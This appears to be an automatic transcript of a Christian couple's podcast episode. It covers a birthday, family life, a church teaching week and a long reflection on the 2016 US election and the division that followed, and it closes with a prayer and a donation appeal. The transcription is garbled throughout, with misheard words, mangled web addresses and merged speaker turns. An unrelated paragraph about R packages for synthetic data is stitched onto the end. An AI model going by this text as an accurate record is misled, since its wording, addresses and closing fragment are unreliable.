I live in a j's podcast for monday.
Most wonderful show is keeping up with the jones is Mrs Jones.
Yes sir.
You don't look a day over forty five.
Thanks, Dorothy.
Today's a j's birthday.
It's true.
And I'm not a day over forty five.
That's right.
So you know exactly forty five.
And you look amazing.
Thanks.
I got so many likes on my Instagram post of you looking
and resplendent and transfer to the Ytukovir.
- Yeah, it was a great photo that you posted.
You should probably just post more pictures
of me and get more likes.
I'm pretty sure that's what we learned from today.
- That is the lesson.
So it's your birthday, any wisdom for us youngens?
- The Bay Area Elders.
(laughs)
I'm like, that would get me the most distance
for the next couple years.
- I said to the kids today, they're trying
to guess how old I was.
I was like, well, how old do you think I am?

I said, oh, okay, well, how old do you think I am?
You're 35.
I said, you have a mummy and they're like, it's 45.
- Which child is that?
I'm writing them out of the will.
(laughing)
- All through them.
So you've been away all weekend.
- I have. - Parting it up.
- I was, yeah, I was at a youth retreat in St. Louis.
Well, near St. Louis.
Well, in our south of St. Louis.
Anyway, it was nowhere near St. Louis.
(laughing)
- That's the thing birthdays are,
birthday dreams are made of.
It's true.
Are you a student?
Do you have fun?
I did have fun.
I missed you.
Thank you.
Mostly because I was single-dadding all weekend.
Yeah, but you rocked the single-dadding it's scenario.
Well, you know what?
You can do anything for a couple of days as long as this chocolate involves.
You just bribe the children a chocolate?
Honestly, I find that if the kids have one event a day and that event can be as simple
as we're leaving the house and going to a park.
Yeah.
They're more than happy.
But I learned to make pancakes while you were away.
You did.
- I always make them, there's no need for me to learn.
- Yes.
- Did you do them with bananas in them?
- No, they just wanted it my way.
- Okay.
- As in what it says in the bag
without any flourish or finesse.
(laughs)
Is that even by your way?
- Babe, I know.
- Isn't that Pamela's way?
- I know that you're feeling sensitive
that I'm approaching your territory.
I'd feel the same if you started getting good
at configuring Wi-Fi networks.
- No, I wanna configure this my way.
You mean how the box tells you to do it?
Yes.
That is my way.
Every day, could you stretch your hands towards age?
You will pray for me.
For me, beloved.
I think the kids like my pancakes more than yours, because I make them,
quote, man size pancakes.
You do.
You make like pancakes the size of their faces.
And they'd love it.
OK, I make tiny ones because then I can say, no, you've just had four pancakes.
Yeah.
but this way they get three man size pancakes instead of four mediocre size pancakes.
Okay. Well, I'm trying to save their coolants.
Welcome to this week's episode of keeping up with the Joneses, wherever things good.
Let's talk about this week.
So I was away on weekend. Oh, babe.
I rode a hoverboard.
I don't know what that is.
Well, you stand on it.
And when you lean forward a little bit, it moves.
Have you seen them in the mall?
There's like these guys in the mall that are standing on this thing and it kind of rolls around.
It's not a hoverboard.
That's a segue with a handle.
Yeah, they call them hoverboards.
Yeah.
That's what they called it all weekend.
A hoverboard.
OK.
Anyway, I wrote one.
I was awesome.
OK, good.
Yeah, I just wanted you to know that.
That was obviously the highlight you were.
We had real skills.
Don't don't watch the videos.
I had skills.
Sorry.
We went to the we took the kids out to see trolls.
We did. I quite enjoyed that movie.
It was cute. There was lots of singing and the Christmas.
Well, now we've got the soundtrack and that's all we've been singing all week.
I noticed that in the garden.
I was like, how does MJ know all the words of these songs?
Wait, we're supposed to be talking about the week and we're stuck on the weekend.
The week.
The week flew by.
It did. It stopped momentarily in the middle of the week because we had a wait for it,
a seven hour meeting.
We did. Like, like no exaggeration.
we got into the meeting and we didn't leave the meeting, not even for lunch.
It's worse than it sounds like it was in our finance meeting.
It was a good meeting, but it was filled with so many acronyms.
And I felt like the person who missed summer school in accounting and economics, I was always
going, "Excuse me, I have a question. What does that graph mean?" And either our project was wrong,
or their colors in Excel were terrible. But when they said the blue line,
I was like, they're all blue.
There's a joint.
-It's a point to the line that you mean.
-With nine different shades of blue.
-Yes. And then what chart am I supposed to be looking at to follow that?
Okay. Thank you so much.
-But I was very proud of myself.
This does not often I can do anything for seven hours.
-You did really well.
-I should get some sort of prize.
I don't know why I didn't--
-You take it a prize. You ate your prize.
They kept putting the prizes in front of you to keep you in that meeting.
-That's what they were doing.
They were like, give the man some snacks. Here, have cashews, have grapes, have this, have that.
Well, that was Wednesday. Monday and Tuesday, I taught one of the,
that's a fun week. It's not really a fun week.
Wow, was that this week?
That was this week. Were you not there?
I was, but I just feel like it's been so long since then. I thought it was two weeks ago.
No, that was this week.
Okay.
It's weird because generally speaking in the church, nobody talks about sex.
Yeah, true.
And if they do, it's not a helpful.
And so we devote a whole week to on the school and we just cover everything from dating to marriage to sex,
to same-sex attraction, to shame, fear, control, sexual demonization, all this colossal sort of stuff.
And it feels like we just get to a comfort level and talking about it and then that week is over.

and it's a great week so much freedom.
I love seeing people get free.
- Yeah, it's really good.
- And yeah, so that was the week.
- Wow.
- Sex, a seven hour meeting.
- Yeah.
- And then you left and went to St. Louis all weekend.
- Well, I was here Thursday.
- And I was-- - What did we do Thursday?

- Oh, sorry about that.
- But you know what would change the pace of this podcast?
- What?
- We talked about the election.
- Yeah, let's do that.
- That's what happened in the middle of the week.
- That is what happened.
We stayed up late.
on Tuesday night. And eventually I gave up just before midnight. I was like, "Ugh, they're not going
to call this forever." And well, it was already looking like Trump had won. It was. And I woke up
at three o'clock in the morning, checked my phone and went, "Oh, he did win." And then I went back to bed.
So we've not really debated about talking about this. I think we wanted to talk about this.
Yeah.
But I'm aware there's so much to cover.
And neither of us are particularly politically savvy related to US politics.
Yeah.
You have a keen interest in politics from a Canadian perspective.
But for context sake, we can't vote or we couldn't have voted in this
election. We're not US citizens.
Right.
It is.
We'll probably God willing be able to vote in the next election.
Yeah.
But for now, and I've honestly never, ever shown any interest in politics.
I probably didn't, in fact, I know for a fact, I didn't know the difference between the Democrat and Republican a couple of years ago.
Yeah.
So in one sense,
wiser people than us have gotten beaten up talking about this.
Yes.
And so our goal is not so much to talk or to teach about politics.
We're certainly not qualified to do that.
Nor are we going to weigh in with our opinions, at least I don't think we are.
I think rather because we're outsiders and because we're watching this from afar and because
we're pastors, we do have lots of experience in human behavior. We have lots of experience in
hurting broken reactions and we've walked with the Lord for a long time in helping people through
conflict. Yes. So those are some of the things that we can talk about.
But where do we get started with this, babe?
You cute little green knight 45-year-old.
Well, I mean, why don't we start with
just sort of how we were both processing before the election even started?
All right.
Yeah.
You know, I'm just thinking we were, I mean, again, we couldn't vote.
And really, I think it would have been very difficult for us to vote.
Right.
in that, in, in my opinion, and I don't, granted, I don't know a lot about politics,
but when we would read, you know, Jeff did a thing on Sunday morning where he talked about just the different platforms.
What does each platform stand for? And in going through those, that information, I was like,
well, clearly I would be more Republican. I'd be on the, you know, on the Republican side of the debate.
Yeah, the vast majority of the values. Yeah. When we read through the various platforms
papers, it's clear that we would lean more towards Republican values than we would Democrat
values. I think if we were to set up the context, I would say that the advantage to us commenting
on this is we didn't vote and we literally don't have a candidate to defend. But even then,
I've noticed that even though we don't have a candidate to defend, people come out and say,
"Well, why aren't you attacking this other candidate?" And so we're not here to defend or attack
anybody's candidate. That's really not what we want to do. We realize that from looking at our stats,
75% of our audience is American. So 75% of our listeners right now are dealing with a
shadow 25%. You're either fed up against all probably that your news is talking about,
or perhaps you're interested in it. I would also like to state that I would imagine that
the vast majority of our listeners are evangelical Christians. That's the audience that we're talking
to. It was funny this past week, I asked a bunch of different people that we know.
Is the amount of trauma around this election normal? Because we were here four years ago
when Obama was reelected. But we gave birth to our son the very next day. So I don't remember
that election because all I remember is I was prepping to go in and be induced the next day.
You know what I mean? So I don't, I know I didn't stay up. I know I didn't probably think much about
it. Right. And so I couldn't think, is this a normal amount of trauma around an election?
Or is this more of an extreme amount of trauma, which is what it felt like to me like it.
And what did people say?
Well, I mean, most people said, well, there's always a certain amount of the world's going to end
rhetoric. But it seems like for most people, they said, this is more than usual.
Well, what was interesting is I would say that before the election actually happened and
the run up to the election, certainly last month or so, the most common feeling I felt from everyone
was confusion. Yeah. Like confusion about who to vote for, confusion about why people
would consider voting for this candidate versus that candidate. Right.
Confusion about why you wouldn't vote for this candidate as opposed to that candidate.
Right. Confusion about why people obviously don't think the same way that I think, you
know, that that was most of the stuff.  Right. And intolerance for anybody having a different
Totally, literal, exasperated confusion on a wide range of topics.
Then the election happened and woke up Wednesday and found out that Donald Trump had won.
We'll talk about that whole experience in a second, but post-election, the most common
feeling is way stronger than confusion.
It feels a bit like shock.
Well, honestly, I was in shock.
I honestly did not think he was going to win.
did most professional pollsters. Is that what it's called? Pollsters people that do polls? I don't know. I mean political analysts. Yeah. I think generally speaking, there's shock that Trump won, but there's also shock about what this means.
Shock about what it means for our country for our culture shock that people are celebrating shock that people aren't celebrating. I mean, there's this,
Does this heightened level of confusion that's gone into another level?
In the midst of the shock, however, it's worth noting that there's a smaller percentage,
at least of the people I follow that are appearing on my timeline, for example, who have got
sheer delight and glee in a genuine sense of excitement that Trump has been elected.
Now I make a comment on those things, not to argue who has the right reaction.
merely to point out that the people who are in shock don't understand why these other people could
be so gleeful and happy. And generally speaking, the people who are gleeful and super excited about
it can't understand why people are in shock. And so this is the part that I want to talk about,
this disconnect where you've got two very different groups of people with equally as strong feelings
about the turnout of the election.
Yeah, and an intolerance towards the way the other is viewing it.
Let's not use tolerance because that's a hugely inflammatory word.
But yes.
But there is.  I mean, that's the basis of every Facebook post.
And some people are more rude about that.
- Right.
- And it scales from sheer confusion
to rudeness, I would say.
- I think too, if I'm honest,
in some ways I'm sad/disappointed
because I think, I was thinking,
okay, at least once the election is over,
people can stop with all the nastiness on Facebook
and it doesn't feel like the nastiness has stopped.
It's just--
It's accelerated and I'm just like, oh, guys, like, but I think the nastiness is, is, is woundedness.
I do too.
It's people who are genuinely hurt and genuinely afraid.
Yeah.
And perhaps I've never been given better tools to cope with them than, than, yeah, I, I, I honestly don't know.
I'm, I'm sometimes, I'm, I'm stumped when I see things that are posted or written by Christians.
I'm thinking, what point did it become okay to lose some of our values for?
Yeah.
Just, I mean, forget Christ's likeness, but just common decency.
Yeah.
Would you speak that way to that person if you were sharing a meal with them?
Yeah.
Or is there a level of anonymity that is provided by being in an electronic forum?
I don't even want to get to that yet.
Okay.
So let's backtrack because we have not spoken publicly about our, we haven't really spoken publicly
about the election. I did a little talk at M&A. I deliberately chose to sidestep a bunch of the
main topics to try and elevate the conversation a little bit differently. But we've had a few,
hardly any, private conversations with some friends about a few things. Why don't you make
are thinking visible about some of the things we felt during the election process.
Yeah, I mean, I think maybe we got to stay a little bit more, even though we live in America,
stay a little bit more on the outside because we knew we couldn't vote. So maybe didn't have
the same level of pressure and processing. Right. And also, we don't know the rules. We don't
know if it's polite to ask who you voting for or so we just stayed away from that topic.
And it's funny because I asked a couple of different people, is it polite to ask people who they
voted for. And some people said, yeah, you can totally do that. And other people said,
no, you never do that. So I thought that was really funny.
Yeah. And so it's an opposed card to us, please.
Right. So I think where we ended up, or where, you know, I'll speak for myself,
but I think it's both of us really where we ended up getting stuck is we would lean more
towards the values of the Republican Party. But when you look at the face that's representing
the Republican Party, i.e. Donald Trump. Wow, he doesn't represent me well at all.
Right. In terms of a stumbling block, here is somebody, and I think it's important to know,
we're not talking secondhand reports. Oh, we've read these tabloid reports. We're talking taking him
at face value, literally reading the words that he writes on his Twitter feed.
Right. Or the things that he said in the debate, that he manages himself or his face or yeah.
Yeah. So, so we're just literally talking about the characteristics of the man that he is presenting
to us. Yeah. Not hearsay, not reports, not history, just present day interactions with Donald Trump.
where there is a large gap between the values that you are representing and the way you are
managing yourself. And the messenger is the message. So that's a huge gap.
So it's scary. It's scary because when you start saying, yeah, I would find myself more
in line with the Republican Party. Actually, forget Donald Trump for a second, a lot of the
people speaking on behalf of the Republican Party, I would not want representing me.
In the way that they're managing themselves and the way that they're communicating, I'm like,
I'm not sure I want to be tarred with the same brush as these guys.
Then when Donald Trump starts speaking on behalf of the Republican Party, I'm like,
I don't see you representing these values that well.
So that is the Republican Party values.
Yes.
Yeah.
So I'm like, yeah, this is causing me some angst.
Now the gap, that gap between, you're supposed to be representing me in my values.
That gap grows larger for me at least.
I don't want to speak for you.
When I started seeing several of my friends and several leaders in the evangelical and
charismatic community start endorsing Trump.
Now, let me say this, I have no problem with people endorsing anybody.
But what I would have liked to have seen and yet didn't was people saying, Hey,
here's, I'm voting for Trump and here's why I'm voting for Trump.
And yes, I understand there's some major character issues.
This is how I've reconciled those, those very obvious issues for me.
And yeah, nobody did that.
Right.
So then what you start thinking is like, am I out to lunch?
Right.
Am I just being judgmental?
like, this feels like a big issue. Yeah. Like if Donald Trump, if somebody behaved or spoke the way
Donald Trump did on my staff, I would be having huge conversations with them. Right. To the point
where I would question whether I made the right decision on hiring them. Right. Never mind the
President of the United States. And yet nobody who was endorsing Trump in my circle was able to
not justify with a capital J, but explain. Like I wanted to go to the processing. How do they get
there? How are you dealing with the misogyny or the racism or this or the dishonor with the way
he spoke to this person or that person? And in my efforts at finding people to kind of shorten that
gap. Usually the answer that I was given was one, yeah, but he's not as bad as Clinton or two,
he's God's vessel, he's God's chosen person. And I would just go, those two answers aren't helpful.
Right. They might be right.   Right. Like what is the missing ingredient
that makes all of these values, especially when they're people who have such a high value on Christian
morals or just managing yourself with power. And this person is lacking that. In my humble
observation. One of the things I loved was the New York Times, Donald Trump threatened
to sue New York Times for libel after they posted some articles about some sort of sexual
assault case. And so his lawyers wrote to him, and the New York Times lawyers wrote back
and just said, "Well, as you understand being lawyers, the libel has to be a misrepresentation
of character." But actually, by Donald Trump's own words, these complaints are entirely
in keeping with his characters. He has displayed publicly for many, many years. And I'm like,
that's the point, guys. How are you bridging that gap? Now, nobody has to give me an answer.
 The only place that I could arrive at from talking to,
let's call them, level-headed believers that are not necessarily excited about Trump,
but probably going to vote Trump anyway. It seemed like those people and many of them that I talk
to are actually very politically minded and actually working in local politics and that kind of stuff.
And they were saying, you know, AJ, it can't be about Trump anymore because he's the face of the
Republican Party now, but it's got to be about the party and it has to be about the Supreme Court
justices and the things that actually this next president is going to be able to do,
it's super important that it's a Republican, not a Democrat, and that's picking the Supreme
Court justices and you know whatever.
And so that's how they're arriving at, I'm voting Republican and I'm kind of ignoring
the face that's on the front of the party because that's all I can do at this point.
And I can understand that.
That makes sense.
to me make sense. And in all likelihood, that might have been where I arrived. You know,
if we were able to vote, yes, I get that mindset. And I get that that's why you would
make this decision. And it's a good reason to make that decision. But as you say, what
didn't make sense to me was the amount of excitement about Trump when to, to what we
have seen so far, but it doesn't represent the things that I as a Christian would want
represented my leader. Right. And of course, there's been these reports, the clothes I
can get to a second hand reports of people knowing that he got led to the Lord a couple
of weeks ago. But again, I'm going to take that with as much with a pinch of salt in
the same way that I would take an awful lot of the rumors I heard about Hillary Clinton
too. I don't want to base my judgments on people by second hand reports.
And what might happen?
A lot might happen.
So you're saying you would speak to some people and just say, "Hey, I get that Trump supports
X, Y, and Z, which is a big deal. But how are you managing the issue of his language or his
temperament or the dishonor?" And what did people say remind me of that again?
Well, and they were just, I mean, basically the feeling was, you know, we can't do anything
at this point about who is now the head of the Republican Party.
Would we prefer that somebody else was in that position?
Yes, absolutely.
You know, Ted Cruz, Ben Carson, anybody, right?
But that didn't happen.
And then now you have to actually look down the next four years and realize the amount
of pull this person is going to have in terms of being able to bring in new Supreme Court
justices. And now it becomes important that it's a Republican, even if it's Donald, because
that's the choice that we have now. Because that's still going to give a better result,
as far as what these people were saying, than having Clinton elect three liberal Supreme
Court justices, which would probably see the nation down the river faster.
Right. It's also important to point out that we are speaking from our perspective as evangelical
Christians and our values that define what we would like to see America.
Yes. We're also aware that two million more people voted for Hillary who would obviously
have a completely different ideology about what would be more appropriate for the shape
of America to come. And we'll get to that part in a second.
Two million more.
the popular vote, Hillary won the popular vote, Donald won the electoral votes. It's a whole
of the system. I don't understand any of these. No, no, no.
Do you know what? I asked several people, like several people, explained to me the difference
between the electoral votes and the popular votes and blah, blah, blah, and none of them
really could. There's probably a Wikipedia or we could read about it in four years time,
and I'm sure we will. Yeah. I think the reason I didn't let myself lose that much sleep over
anything that we've talked about so far was what we were saying earlier because we, along
with most political commentators, thought there's no real chance he's going to get elected anyway.
So no bond borrowing trouble, no point getting our knickers in the twist. That's a great British
expression. And I should also point out that neither of us were thrilled with the thought of
Hillary Clinton being elected president. I just didn't know where to put anything.
No.
So please don't hear us as supporting either candidate. I think honestly what we were thinking are
What are the chances of Donald Trump, a man with zero political experience, a PR catastrophe,
at least to my eyes?
Apparently it was brilliant, not a catastrophe.
But what are the chances of this man getting elected over someone with the experience and
professional skill of a highly polished candidate like Hillary Clinton?
Yeah, I didn't think he had a snowball's chance and a furnace.
Right. And that all became apparent on Wednesday morning.
Now, again, let me say as I have repeatedly said, I am fully expecting God to be amazing
these next four years. There is no sense that I am partnering with fear or dismay or
oh, we're screwed, nothing like that. I am fully expecting God's plan for the blessing of our
nation to come in spite of who's in control of the White House. So I am not doing
regardless at all. I am fully expecting God to astonish us. And that was the stance I had in my
my heart if Clinton got elected. I just honestly wasn't thinking that Donald Trump was going
to be the president elect. So I'm not upset that Donald Trump is a president elect. I'm
happy with the fact that this is how democracy works. The people vote, they choose a leader
despite the fact I don't understand the difference between popular and electoral votes. But nevertheless,
I didn't have a vote. I'm happy to have any leader. And I would have happily prayed for
either candidate and support them. I mean, that's the way I have done. I will pray for
Donald Trump and believe the best for Donald Trump as I have for President Obama these
last eight years. I have a deep respect for that office. And I know that God honors the
position, not just the person, but still, yeah, Donald Trump.
Yeah, I remember actually coming out in the morning and seeing Abigail and she said, "Mummy,
did the person you wanted get elected?" And I said, "Oh, baby."
She just wasn't in the role.
- Yeah, I was like, we weren't real excited
about either candidate, but I said,
Donald Trump got elected and she said,
well, mommy, then we start praying for Donald Trump.
And then she just went and got her stuff ready for school
and I was like, yeah, baby, that's right.
But I did have some conversations that morning
and one of the things that sort of struck my heart
was one of the people that I talked to said,
What was sad for them is that as a Christian,
they felt that the message has now been sent to women
and minority groups, underprivileged people
and whatever, that they are not valued
and that Christians don't value them
because we're so excited about Trump.
- Right.
- And that is sad because I think to an extent
that's probably true.
- And well, let's talk about that fallout.
- Okay.
- Because in speaking to friends,
And we spoke to a few, the ones we were brave enough to say, who are you voting for?
We've got friends who voted for both Clinton and for Trump.
And it's worth me saying I absolutely respect both camps' reasons for doing so.
I listened to them.
I thought they had some great reasons for why.
But of the friends that did vote for Trump, I found that there were three main categories
of Trump voters.
Number one were the people who are just 100% on the Trump train.
No hesitation about the man.
No, I don't think even awareness of the things that I was cautious about.
Just all on board.
This is going to be awesome.
Let's go for it.
Make America great again.
So desperate for change.
Hashtag left, right and center.
And honestly, these people are an enigma to me.
I just don't understand all of that.
I don't know.
And I'm going to work hard to bridge that gap.
I mean, I love them and I love their enthusiasm, but I don't get it.
But my efforts at understanding their choice or rather why they didn't have the same concerns
that I had completely evaded me.
Right.
But I totally respect their vote.
So go for it.
Right.
The second group were people who didn't like either candidate.
And honestly, push, come to shove would rather neither of them represented them.
But given their choice, they thought that voting for a third party was almost a throw away.
And they basically decided probably mostly related to the issue of abortion that they
would rather have Republican values represented in Democratic ones.
And so they reluctantly voted for Trump.
Right.
And most of those are also, it's not just abortion, it was the Supreme Court justices
as well.
So those two main things, they're voting for the lesser of two evils in the platform that
they prefer.
Right.
And then the third group of people who just don't like, they don't like Clinton more
than they don't like Trump.
And so reluctantly voted Trump. Now, what's interesting is those people, like I said,
are outweighed by approximately 2 million people. So according to the report I read in
the independent newspaper, that's a British newspaper because I don't know which newspapers
to trust in America, about 2 million people voted more for Clinton than they did for Trump.
Wow.
And you just have to look around the news to see what's in people's hearts.
The people who really wanted Hillary Clinton to be the president are absolutely despondent
and terrified.
And there's people making really, really reasoned logical arguments for their fear.
And the big shock I think is that for some people, Trump represents Sheer horror.
people can't get their heads around how people voted for someone in their
perspective who is so racist, so misogynistic and so untruthful. And then
like we said earlier there's people who voted for Trump who can't work out why
those people are so upset. So you got two groups of people who both don't
understand the other side. Now that's a gross oversimplification to describe the
climate at large but it will do for now. I was listening to Stephen Colbert for
For those of you who are not American, you might know, Stephen Colbert is a very articulate
and astute political comic.
I want to play a little sample.
I'll put a link to this whole video on the show notes.
I hope the rest of it's appropriate.
If it isn't, please forgive me.
It's for late night TV.
I'm sure they'll bleep out any bad words.
But let me play this a little bit, which I think sums up brilliantly the point I'm
trying to talk about.
By every metric, I mean, we are more divided than ever as a nation.
Do we still have this graphic from earlier before?
According to the Pew Research Center, more than four in ten voters say the other party's
policies are so misguided they pose a threat to the nation.
But you know what?
Everybody feels that way.
And not only that, more than half of Democrats say the Republican Party makes them afraid.
Well, 49% of, do I have the right?
Is it 49% of Republicans say the same thing
about the Democratic Party.
So both sides are terrified of the other side.
And I think that's why the voting booth has a curtain.
So you have some place to hide after the election's over.
So how did our politics get so poisonous?
I think it's 'cause we overdosed, especially this year.
We drank too much of the poison.
You take a little bit of it so you can hate the other side and it tastes kind of good
and you like how it feels and there's a gentle high to the condemnation, right?
And you know you're right, right? You know you're right.
So, babe, that's crazy. 50% of the nation doesn't trust the other 50%.
What was it that he said? More than four in ten Democrats and Republicans say the other
party's policies are so misguided that they pose a threat to the nation. Think about that.
Forty percent of Democrats and forty percent of Republicans are terrified about the other
party's policies. Another from Pew Research said that fifty-five percent of Democrats
say the Republican party makes them afraid while forty-nine percent of Republicans say
the same about the Democratic Party. So it's not that we're just picking out some random
streams from Twitter or some polls from Facebook to make a point. This is from research centers
that's saying 50% of the nation is terrified about the views of the other 50% of the nation.
Right. And it's producing huge division.
Well, this is where I want to make a plea to the Christians who are part of that 50%.
because we have a piece that passes understanding. Most of the stuff on social media, most of the
stuff in conversation, literally, I've been reading earnest articles written by people. These are
now non-Christians who are saying, I don't know how to do Thanksgiving with my family who voted for
Trump. Where they're like, I don't know how to reconcile this situation. I mean, and I understand
that we are sitting here in, I think, the 13th wealthiest county in America. I recognize that,
yes, we are immigrants to America, but we're about the most privileged kind of immigrants
that you can get. We understood the green card process. We had enough money to pay for an immigration
lawyer to help us through it. So we are sitting here with a certain level of education, a certain
level of privilege, and let's face facts, a certain level of skin tone, where we are immune
personally from a lot of the fear that other people are expressing. But here's the thing,
as Christians, we're supposed to have a higher vantage point. We're supposed to have the peace,
the past, the understanding. We don't need to understand somebody else's point of view in order
to have peace. No, or to love them. Or to love them. Good Lord. I think, babe, in it right now,
It feels like you know, especially when you read those statistics
From that report
You have a nation of people that are filled with fear
Right and the only thing that casts that out is love and the only people that are gonna love well are probably us right
I think yeah, I haven't seen a great display haven't either and it makes me so sad people are still trying to
Are you points and drive things home guys it's done he's elected and it's actually time to start loving other people well and trying to meet them where they're at and understand what they're feeling and even where we don't understand and output myself that category i've honestly struggled.
To understand friends of mine on both sides of the debate when they post things online i'm like are you aware how insensitive that is yes i do you realize that you're creating a large.
gap in other people's understanding of your behavior. Yes. Yeah. And on top of that, there are,
and we touched on this a little bit before that there are some genuine concerns that people
are expressing. Fear about what he's going to do. I read Donald Trump's plan for the first 100
days in office and I'm thinking, dude, even if you get like a quarter of that stuff done,
that's going to have huge significant impact on this nation. I'm not commenting about whether
that's for good or for bad, for better for what. I'm just saying that that is going to cause
change in some ramifications and people generally speaking are scared of change even when we want it.
Sure, always. Even good change is scary. So here's the thing. We carry a source of peace
that isn't dependent on our understanding. We have access to a source of comfort,
to a prophetic viewpoint, to an inexhaustive supply of love that we're supposed to apply
to our own hearts, so that we're not troubled by the world, and that we can be a safe resource
to other people, where we can look at people we don't agree with and still keep our love on,
where we can modify our behavior to preserve a connection with people that we love,
even though they voted for a different candidate from us.
Yeah, I mean, so I'm not trying to be funny, but I'm just thinking.
Scripture says, blessed be the peacemakers, not the potsters, right?

Really our job is to look people in the eyes and love them well, and especially
if they're afraid.
Can I talk about the whole hashtag Cyrus rising?
Donald Trump is God's Cyrus thing for a second.
Sure.
So if you genuinely believe that and I have no comment that I have not talked to the
Lord about that at all.
I have not done any research.
So I am not mocking that perspective at all.
For all I know, you may be absolutely right in that assumption.
But what I am asking that you do is that you use wisdom and kind temperament in communicating your view.
So in Scripture says you always have an answer for the hope that you have, but that hope is centered on Christ, not on another person.
So if God's given you peace about your decision or about the future, that's fantastic.
Use that piece to communicate peace.
Don't use it to inflame or antagonize others.
Yes, please.
I think we've already said a lot about inflaming stuff.
Here's my encouragement.
Bill Johnson said this brilliant line.
He said, we're our dumbest when we think we know the motives of other people.
So that's about the quality of most discourse I see on Twitter or Instagram or Facebook.
People, assuming they know the motives of other people and then making a comment on that.
And of course, then other people coming on that and before you know, it's a big pile on of of huge emotion.
And everybody's hurt and everybody's aggravated and it served no good.
And I was triggering.
Yeah.
I love what Pastor Jeff said this morning.
He said, could we please up the kindness quilter?
Yeah.
I was speaking to friend tonight at dinner about this.
And I said, it's kind of like if AJ, you and I were in a car accident together.
Yeah.
And let's say because of the car accident, you lost both your legs, but I didn't.
It would be insensitive of me to talk about how happy I am that I didn't lose
my legs around you.
Yeah, that would be extremely insensitive.
Now, is it wrong for me to be happy that I didn't lose my legs?
No, of course it's not.
It's entirely appropriate for me to be expressing my joy to the Lord that I
didn't lose my legs, but it is entirely tactless for me to be reveling in my joy
while you are in your deep mourning and in your sorrow.
Yeah.
Right.
So, I think what I'm saying is give one another space to be processing.
I think one of the posts that I read the morning after Trump was elected, the sort of impacted
me the most was a friend of mine named Krista Wendell.
And Krista and her husband, Jason, are amazing.

They're two of my personal heroes.
Oh, they're amazing, extremely well educated, very compassionate, you know, you know, they're,
they have a passion for all people and, you know, all races and all religions that they
would know Jesus and they're just lovely.
I mean, they're just amazing.
You know, if you could bottle them up and sell them and we changed the world in the heartbeat.
-Which is why I want them to come. I'm going to be scraping or toothbrush and cloning their DNA.
They don't know about it. They don't even listen to our podcast.
-We'll just try and get them to come for a visit and then we'll start making clones.
-Come for a visit. Just bring this.
-Nothing to worry about. I hope they don't listen to the podcast. They're going to know our sneaky plan.
-It's a spinal tap. Don't even worry about it.
-Completely normal.

And Krista just leaned over to her,
and I don't remember her exact words,
but she basically said to her,
"I want you to know that I am a Christian white woman,
and I love Jesus, but I love you too,
and I'm sorry that you're hurting."
And the woman just started crying.
And so Krista got to pray with her and say,
You know, I'm sorry that you're scared. I'm sorry that we sent you this message and
I think guys that's the thing to do now is to realize that when there's
People hurting even if you don't get it. It doesn't matter if you get it. And even if you're not hurting right?
You're you're not called
To judge you're called to actually love well and so if we could actually
Start doing that. I think we start to turn the train back around and and obviously pray for Donald Trump
I mean, he's got quite the thing that he's going to have to manage.
And yeah, I mean, I'm, I'm hopeful because God's good and he's still on the throne.
And yeah.
My encouragement to all of us is that we practice the peace we have.
We demonstrate the kindness we've been given and we walk in the wisdom that is ours.
I think the saddest thing that I've noticed is the best explanations I've read for our climate
has come from non-Christian sources.
That is sad.
The most compassionate, well-reasoned articles that I've read in managing ourselves in this climate
comes from non-Christians.
Now, it could be that I'm not exposed to better writing.
So please, by all means, guys, if you're on the internet and you read an article that you think would be in line with the stuff that we've been sharing,
from a great Christian source, please direct it to me. I really enjoyed both of Bill Johnson's
posts that he wrote on Facebook and was really appreciative of Bill's wisdom. If you haven't read
them, I'll put a link to them in the show notes in that Bill didn't say anything until after the
elections. And the poor man explained, "Hey, this is why I voted for Donald Trump. This is how I
reconciled my differences." And it was a really, really well-written, brilliant article and I so
appreciate that Bill took the time to write that and he wrote a follow-up I think maybe a day later
and apparently the poor man just got beaten on the internet in response to this and you know
it was a brilliant article that Bill wrote and I appreciate that but like I said the vast majority
of really helpful stuff I've written is from a non-Christian source so let's up the kindness
quote, let's tweet words of encouragement, let's refuse to enter into empty and almost harmful
debate online. And let's raise the love level. Please, why don't we pray for our nation for
everybody who's listening? I hope we didn't say anything that enraged you. If you did that would
never be our heart, please, please let us know anything you disagree with. Go to Alan and
you to come slash feedback. We would love to hear from you if there's things you think
we missed. Of course, the stuff we missed the whole topic is enormous.
We fully don't understand a lot of it. But if there's stuff that we said that is wrong
or short-sighted or hey Alan, I do have you considered this, we would genuinely love to
hear from you. Reach out to us. We'd appreciate it. And if this was helpful, again, give us
that feedback. We'd love to know. And if you think this would be helpful for somebody
who's going through situations, please direct them to this episode. But babe, in wrapping
this up. Why don't we just pray for our nation, pray for our listeners and pray for peace.
Father, I thank you that in the midst of any situation and any trouble, you are faithful.
God, you are always faithful. You are always amazing. And thankfully, you are still on
the throne. You are still the one that controls the tide, Lord. And Father, I ask that you
You would come and you would shower this nation of America that we are so thrilled to live
in with your peace and with your wisdom.
Lord, I ask that you would give your believers wisdom and grace and peace in dealing with
other people and that you would help us kind of repair the breach, Lord.
You would help us be part of how this thing gets better and part of how history writes
this out is that the Christians stood up and not only, you know, voted and we're expressive
in that way, but then they loved others well.
Lord, help us to be people that carry peace wherever we go.
Amen.
Amen.
We have one thing as we wrap up, but you've probably heard us talk about Project Wow.
At Grace Center, we are planning a huge overhaul of our children's ministry.
We're currently planning on spending half a million dollars in transforming an area
of our church into a world-class children's ministry facility because we believe God really,
really wants to move through this next generation that's coming up.
Next Sunday, it's going to be Sunday the 20th, it's going to be our big offering that we're
taking up at Grace Center.
We're asking all of our Grace Center members, all of our Grace Center friends and family
to give above and beyond their tithes on this particular Sunday.
I know some of you don't live in Franklin, can't attend Grace Center, but I know equally
that some of you watch online and you've been greatly blessed by this ministry.
I would ask that you would pray about giving towards this incredible initiative that we're
taking and join with us.
You can give online if you go to graceinner.us/give.
You can give online to the building fund and your gift will go toward that half a million
dollars that we are planning on raising this coming Sunday to build a world-class facility
so that children can understand God's word, have an encounter with Jesus and get to know
the Holy Spirit and the Father. You can have fun while they're doing it.
We pray you have an amazing week. If you would like to give us feedback, like I said, allenonaj.com/feedback.
If you have a question, like to ask us, go to allenonaj.com/ask. We will see you next week.
Faith, Life, Communication, Tacos and Video Games
Paleo donuts and the kindness of God
But things we deal with every day

Testing and validating applications or data products requires the use of data that is not always available to us. As an alternative to real data, we have the possibility to generate fake or synthetic data in a format similar to real data. This task view collects information on R packages including functionalities to generate synthetic data.
Wikipedia
